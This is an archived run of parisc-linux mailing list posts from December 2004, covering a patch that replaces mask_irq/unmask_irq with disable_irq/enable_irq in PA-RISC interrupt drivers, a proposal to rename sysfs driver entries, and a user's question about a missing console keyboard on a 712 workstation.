	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25017


mask_irq/unmask_irq are no longer part of the kernel API.  The only place
we were calling it can be replaced by disable_irq/enable_irq, I think.
Boots fine on my c3600, but it needs testing on lasi/wax/dino machines.

Index: arch/parisc/kernel/irq.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/irq.c,v
retrieving revision 1.17
diff -u -p -r1.17 irq.c
--- arch/parisc/kernel/irq.c	5 Dec 2004 23:38:02 -0000	1.17
+++ arch/parisc/kernel/irq.c	6 Dec 2004 04:02:53 -0000
@@ -85,22 +85,6 @@ static void enable_cpu_irq(void *unused,
         on_each_cpu(cpu_set_eiem, (void *) cpu_eiem, 1, 1);
 }
 
-/* mask and disable are the same at the CPU level
-** Difference is enable clears pending interrupts
-*/
-#define mask_cpu_irq	disable_cpu_irq
-
-static inline void unmask_cpu_irq(void *unused, int irq)
-{
-	unsigned long eirr_bit = EIEM_MASK(irq);
-	cpu_eiem |= eirr_bit;
-	/* NOTE: sending an IPI will cause do_cpu_irq_mask() to
-	** handle *any* unmasked pending interrupts.
-	** ie We don't need to check for pending interrupts here.
-	*/
-        on_each_cpu(cpu_set_eiem, (void *) cpu_eiem, 1, 1);
-}
-
 /*
  * XXX cpu_irq_actions[] will become 2 dimensional for per CPU EIR support.
  * correspond changes needed in:
@@ -126,8 +110,6 @@ struct irq_region cpu0_irq_region = {
 	.ops	= {
 			.disable_irq	= disable_cpu_irq,
 			.enable_irq	= enable_cpu_irq,
-			.mask_irq	= unmask_cpu_irq,
-			.unmask_irq	= unmask_cpu_irq
 	},
 	.data	= {
 			.dev		= &cpu_data[0],
@@ -145,36 +127,10 @@ struct irq_region *irq_region[NR_IRQ_REG
 
 /*
 ** Generic interfaces that device drivers can use:
-**    mask_irq()	block IRQ
-**    unmask_irq()	re-enable IRQ and trigger if IRQ is pending
 **    disable_irq()	block IRQ
 **    enable_irq()	clear pending and re-enable IRQ
 */
 
-void mask_irq(int irq)
-{
-	struct irq_region *region;
-
-	DBG_IRQ(irq, ("mask_irq(%d) %d+%d eiem 0x%lx\n", irq,
-				IRQ_REGION(irq), IRQ_OFFSET(irq), cpu_eiem));
-	irq = irq_canonicalize(irq);
-	region = irq_region[IRQ_REGION(irq)];
-	if (region->ops.mask_irq)
-		region->ops.mask_irq(region->data.dev, IRQ_OFFSET(irq));
-}
-
-void unmask_irq(int irq)
-{
-	struct irq_region *region;
-
-	DBG_IRQ(irq, ("unmask_irq(%d) %d+%d eiem 0x%lx\n", irq,
-				IRQ_REGION(irq), IRQ_OFFSET(irq), cpu_eiem));
-	irq = irq_canonicalize(irq);
-	region = irq_region[IRQ_REGION(irq)];
-	if (region->ops.unmask_irq)
-		region->ops.unmask_irq(region->data.dev, IRQ_OFFSET(irq));
-}
-
 void disable_irq(int irq)
 {
 	struct irq_region *region;
@@ -495,9 +451,9 @@ void do_irq_mask(unsigned long mask, str
 		mask &= ~bit;	/* clear bit in mask - can exit loop sooner */
 		irq_num = region->data.irqbase + irq;
 
-		mask_irq(irq_num);
+		disable_irq(irq_num);
 		do_irq(&region->action[irq], irq_num, regs);
-		unmask_irq(irq_num);
+		enable_irq(irq_num);
 	}
 }
 
@@ -549,11 +505,6 @@ struct irq_region *alloc_irq_region( int
 			IRQ_PER_REGION, name, count));
 	    count = IRQ_PER_REGION;
 	}
-
-	/* if either mask *or* unmask is set, both have to be set. */
-	if((ops->mask_irq || ops->unmask_irq) &&
-		!(ops->mask_irq && ops->unmask_irq))
-			return NULL;
 
 	/* ditto for enable/disable */
 	if( (ops->disable_irq || ops->enable_irq) &&
Index: drivers/parisc/dino.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/dino.c,v
retrieving revision 1.20
diff -u -p -r1.20 dino.c
--- drivers/parisc/dino.c	29 Oct 2004 13:08:47 -0000	1.20
+++ drivers/parisc/dino.c	6 Dec 2004 04:03:03 -0000
@@ -299,7 +299,7 @@ struct pci_port_ops dino_port_ops = {
 };
 
 static void
-dino_mask_irq(void *irq_dev, int irq)
+dino_disable_irq(void *irq_dev, int irq)
 {
 	struct dino_device *dino_dev = DINO_DEV(irq_dev);
 
@@ -318,16 +318,23 @@ dino_mask_irq(void *irq_dev, int irq)
 	}
 }
 
-
 static void
-dino_unmask_irq(void *irq_dev, int irq)
+dino_enable_irq(void *irq_dev, int irq)
 {
 	struct dino_device *dino_dev = DINO_DEV(irq_dev);
 	u32 tmp;
 
 	DBG(KERN_WARNING "%s(0x%p, %d)\n", __FUNCTION__, irq_dev, irq);
 
-	if (NULL == irq_dev || irq > DINO_IRQS) {
+	/*
+	** clear pending IRQ bits
+	**
+	** This does NOT change ILR state!
+	** See comment below for ILR usage.
+	*/
+	gsc_readl(dino_dev->hba.base_addr+DINO_IPR);
+
+	if (irq > DINO_IRQS) {
 		printk(KERN_WARNING "%s(): %d not a dino irq?\n",
 				__FUNCTION__, irq);
 		BUG();
@@ -356,29 +363,9 @@ dino_unmask_irq(void *irq_dev, int irq)
 }
 
 
-
-static void
-dino_enable_irq(void *irq_dev, int irq)
-{
-	struct dino_device *dino_dev = DINO_DEV(irq_dev);
-
-	/*
-	** clear pending IRQ bits
-	**
-	** This does NOT change ILR state!
-	** See comments in dino_unmask_irq() for ILR usage.
-	*/
-	gsc_readl(dino_dev->hba.base_addr+DINO_IPR);
-
-	dino_unmask_irq(irq_dev, irq);
-}
-
-
 static struct irq_region_ops dino_irq_ops = {
-	.disable_irq	= dino_mask_irq,	/* ??? */
+	.disable_irq	= dino_disable_irq,
 	.enable_irq	= dino_enable_irq, 
-	.mask_irq	= dino_mask_irq,
-	.unmask_irq	= dino_unmask_irq
 };
 
 
Index: drivers/parisc/eisa.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/eisa.c,v
retrieving revision 1.7
diff -u -p -r1.7 eisa.c
--- drivers/parisc/eisa.c	22 Feb 2004 15:38:50 -0000	1.7
+++ drivers/parisc/eisa.c	6 Dec 2004 04:03:03 -0000
@@ -180,45 +180,14 @@ static void eisa_enable_irq(void *irq_de
 	EISA_DBG("pic1 mask %02x\n", eisa_in8(0xa1));
 }
 
-static void eisa_mask_irq(void *irq_dev, int irq)
-{
-	unsigned long flags;
-	EISA_DBG("mask irq %d\n", irq);
-	
-        /* mask irq */
-	spin_lock_irqsave(&eisa_irq_lock, flags);
-	if (irq & 8) {
-		slave_mask |= (1 << (irq&7));
-		eisa_out8(slave_mask, 0xa1);
-	} else {
-		master_mask |= (1 << (irq&7));
-		eisa_out8(master_mask, 0x21);
-	}
-	spin_unlock_irqrestore(&eisa_irq_lock, flags);
-}
-
-static void eisa_unmask_irq(void *irq_dev, int irq)
-{
-	unsigned long flags;
-	EISA_DBG("unmask irq %d\n", irq);
-        
-	/* unmask */
-	spin_lock_irqsave(&eisa_irq_lock, flags);
-	if (irq & 8) {
-		slave_mask &= ~(1 << (irq&7));
-		eisa_out8(slave_mask, 0xa1);
-	} else {
-		master_mask &= ~(1 << (irq&7));
-		eisa_out8(master_mask, 0x21);
-	}
-	spin_unlock_irqrestore(&eisa_irq_lock, flags);
-}
-
 static struct irqaction action[IRQ_PER_REGION];
 
 /* EISA needs to be fixed at IRQ region #0 (EISA_IRQ_REGION) */
 static struct irq_region eisa_irq_region = {
-	.ops	= { eisa_disable_irq, eisa_enable_irq, eisa_mask_irq, eisa_unmask_irq },
+	.ops	= {
+		.disable_irq = eisa_disable_irq,
+		.enable_irq = eisa_enable_irq
+	},
 	.data	= { .name = "EISA", .irqbase = 0 },
 	.action	= action,
 };
Index: drivers/parisc/gsc.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/gsc.c,v
retrieving revision 1.3
diff -u -p -r1.3 gsc.c
--- drivers/parisc/gsc.c	10 Mar 2004 19:24:48 -0000	1.3
+++ drivers/parisc/gsc.c	6 Dec 2004 04:03:03 -0000
@@ -139,29 +139,12 @@ busdev_enable_irq(void *irq_dev, int irq
 
 /* FIXME: read IPR to make sure the IRQ isn't already pending.
 **   If so, we need to read IRR and manually call do_irq_mask().
-**   This code should be shared with busdev_unmask_irq().
-*/
-}
-
-static void
-busdev_mask_irq(void *irq_dev, int irq)
-{
-/* FIXME: Clear the IMR bit in busdev for that IRQ */
-}
-
-static void
-busdev_unmask_irq(void *irq_dev, int irq)
-{
-/* FIXME: Read IPR. Set the IMR bit in busdev for that IRQ.
-   call do_irq_mask() if IPR is non-zero
 */
 }
 
 struct irq_region_ops busdev_irq_ops = {
 	.disable_irq =	busdev_disable_irq,
 	.enable_irq =	busdev_enable_irq,
-	.mask_irq =	busdev_mask_irq,
-	.unmask_irq =	busdev_unmask_irq
 };
 
 
Index: drivers/parisc/iosapic.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/iosapic.c,v
retrieving revision 1.11
diff -u -p -r1.11 iosapic.c
--- drivers/parisc/iosapic.c	17 Nov 2004 22:17:42 -0000	1.11
+++ drivers/parisc/iosapic.c	6 Dec 2004 04:03:05 -0000
@@ -856,25 +856,9 @@ printk("\n");
 }
 
 
-static void
-iosapic_mask_irq(void *dev, int irq)
-{
-	BUG();
-}
-
-
-static void
-iosapic_unmask_irq(void *dev, int irq)
-{
-	BUG();
-}
-
-
 static struct irq_region_ops iosapic_irq_ops = {
 	.disable_irq =	iosapic_disable_irq,
 	.enable_irq =	iosapic_enable_irq,
-	.mask_irq =	iosapic_mask_irq,
-	.unmask_irq =	iosapic_unmask_irq
 };
 
 
Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.13
diff -u -p -r1.13 superio.c
--- drivers/parisc/superio.c	5 Dec 2004 16:50:53 -0000	1.13
+++ drivers/parisc/superio.c	6 Dec 2004 04:03:05 -0000
@@ -316,23 +316,9 @@ superio_enable_irq(void *dev, int local_
 }
 
 
-static void
-superio_mask_irq(void *dev, int local_irq)
-{
-	BUG();
-}
-
-static void
-superio_unmask_irq(void *dev, int local_irq)
-{
-	BUG();
-}
-
 static struct irq_region_ops superio_irq_ops = {
 	.disable_irq =	superio_disable_irq,
 	.enable_irq =	superio_enable_irq,
-	.mask_irq =	superio_mask_irq,
-	.unmask_irq =	superio_unmask_irq
 };
 
 #ifdef DEBUG_SUPERIO_INIT
Index: include/asm-parisc/irq.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/irq.h,v
retrieving revision 1.4
diff -u -p -r1.4 irq.h
--- include/asm-parisc/irq.h	5 Dec 2004 23:38:02 -0000	1.4
+++ include/asm-parisc/irq.h	6 Dec 2004 04:03:14 -0000
@@ -48,8 +48,6 @@
 struct irq_region_ops {
 	void (*disable_irq)(void *dev, int irq);
 	void (* enable_irq)(void *dev, int irq);
-	void (*   mask_irq)(void *dev, int irq);
-	void (* unmask_irq)(void *dev, int irq);
 };
 
 struct irq_region_data {

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFT] Remove {,un}mask_irq()
Date: Mon, 6 Dec 2004 10:46:28 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20041206174628.GB10915@colo.lackof.org>
References: <20041206041014.GL15450@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624508 26469 80.91.229.3 (22 Nov 2014 02:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19285 invoked by uid 65534); 6 Dec 2004 17:47:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 06 Dec 2004 18:47:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 87B293BE4F; Mon,  6 Dec 2004 10:47:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28823-04; Mon, 6 Dec 2004 10:47:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C9DF03BE5D; Mon,  6 Dec 2004 10:47:25 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9ABF53BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 10:47:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27731-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 10:47:19 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 424A33BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 10:47:19 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A996C494068; Mon,  6 Dec 2004 10:47:18 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 62A45494062
	for <parisc-linux@parisc-linux.org>;
	Mon,  6 Dec 2004 10:47:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B6B0E298059; Mon,  6 Dec 2004 10:47:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12843-01; Mon, 6 Dec 2004 10:46:28 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2280B298056; Mon,  6 Dec 2004 10:46:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041206041014.GL15450@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25018

On Mon, Dec 06, 2004 at 04:10:14AM +0000, Matthew Wilcox wrote:
> mask_irq/unmask_irq are no longer part of the kernel API.

IIRC, there was a semantic difference between unmask IRQ and enable_irq().
The former preserved pending interrupts and the latter did not.
Did the semantics change or am I not remembering correctly?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sysfs names
Date: Mon, 6 Dec 2004 14:02:18 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <20041206140218.GA10881@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624508 26470 80.91.229.3 (22 Nov 2014 02:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24367 invoked by uid 65534); 6 Dec 2004 14:03:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 06 Dec 2004 15:03:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 347053BC80; Mon,  6 Dec 2004 07:03:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26030-05; Mon, 6 Dec 2004 07:03:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C778F3BE53; Mon,  6 Dec 2004 07:02:27 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1A843BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 07:02:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26030-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 07:02:21 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 35DEB3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 07:02:21 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id BE27E494068; Mon,  6 Dec 2004 07:02:20 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 5ECD3494062
	for <parisc-linux@parisc-linux.org>;
	Mon,  6 Dec 2004 07:02:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CbJRS-0003vL-GC
	for parisc-linux@parisc-linux.org; Mon, 06 Dec 2004 14:02:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25019


scooter:/sys/bus# ls */drivers/
eisa/drivers/:
hp100  sim710

parisc/drivers/:
Apricot  Dino              GSC SCSI (Zalon)  Lasi RS232  Serial RS232
Asp      EISA Bus Adapter  HP SDC            Lasi SCSI   Wax
CPU      GSC PS2           Lasi              Parallel    sti (native)

pci/drivers/:
acenic  hp100  parport_pc  serial  sti (pci)  sym53c8xx  tulip

platform/drivers/:
serial8250

scsi/drivers/:
sd  sr  st

serio/drivers/:
hil_kbd  hil_ptr

I'm going to go through and clean up our driver names.  In particular:
 - lower-case
 - replace spaces with underscores
 - eliminate brackets
 - choose better names

Here's my current thoughts:

parisc/drivers/:
apricot  dino      zalon      lasi_8250  serial_8250
asp      eisa      sdc        lasi_scsi  wax
cpu      gsc_ps2   lasi_core  parport    sti

pci/drivers/:
acenic  hp100  parport_pc  serial  sti  sym53c8xx  tulip

ISTR at one point, sti had to be disambiguated because sysfs would try
to create two directories in the same directory, but it looks like it
doesn't any more.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux 2.6, 712-workstation and (no) keyboard
Date: Tue, 07 Dec 2004 13:51:30 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <41B5A752.4090906@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624508 26474 80.91.229.3 (22 Nov 2014 02:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:28 +0000 (UTC)
To: maillist parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22662 invoked by uid 65534); 7 Dec 2004 12:52:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 07 Dec 2004 13:52:44 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6FB933BE4F; Tue,  7 Dec 2004 05:52:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06283-01; Tue, 7 Dec 2004 05:52:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 119333BE5F; Tue,  7 Dec 2004 05:51:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C73EA3BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 05:51:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03271-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Dec 2004 05:51:36 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0C8833BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 05:51:36 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 43352494071; Tue,  7 Dec 2004 05:51:35 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lmfilto03.st1.spray.net (lmfilto03.st1.spray.net
	[212.78.202.217]) by palinux.hppa (Postfix) with ESMTP id D649B494062
	for <parisc-linux@parisc-linux.org>;
	Tue,  7 Dec 2004 05:51:34 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto03.st1.spray.net (Postfix) with ESMTP id 31CB31A061A
	for <parisc-linux@parisc-linux.org>;
	Tue,  7 Dec 2004 12:51:32 +0000 (GMT)
Original-Received: from lmsmtp02.st1.spray.net ([212.78.202.112])
	by localhost (lmfilto03.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 01499-04 for <parisc-linux@parisc-linux.org>;
	Tue,  7 Dec 2004 12:51:31 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp02.st1.spray.net (Postfix) with ESMTP id BB82FD8
	for <parisc-linux@parisc-linux.org>;
	Tue,  7 Dec 2004 12:51:30 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25020

Hello,

Recently I found time to update my 712 workstation to kernel version 2.6.x. Most 
recent kernels I tried from http://cvs.parisc-linux.org/download/linux-2.6/ or 
build from source, don't give me a keyboard at the console.

Is this something I have to define, like re-create device files with mkdev?

Is something changed? I recall messages on using special pa-ps2 code v.s. 
default linux ps2 code. Should a new 712-config file suit my needs? Which 
options to try/test/use?

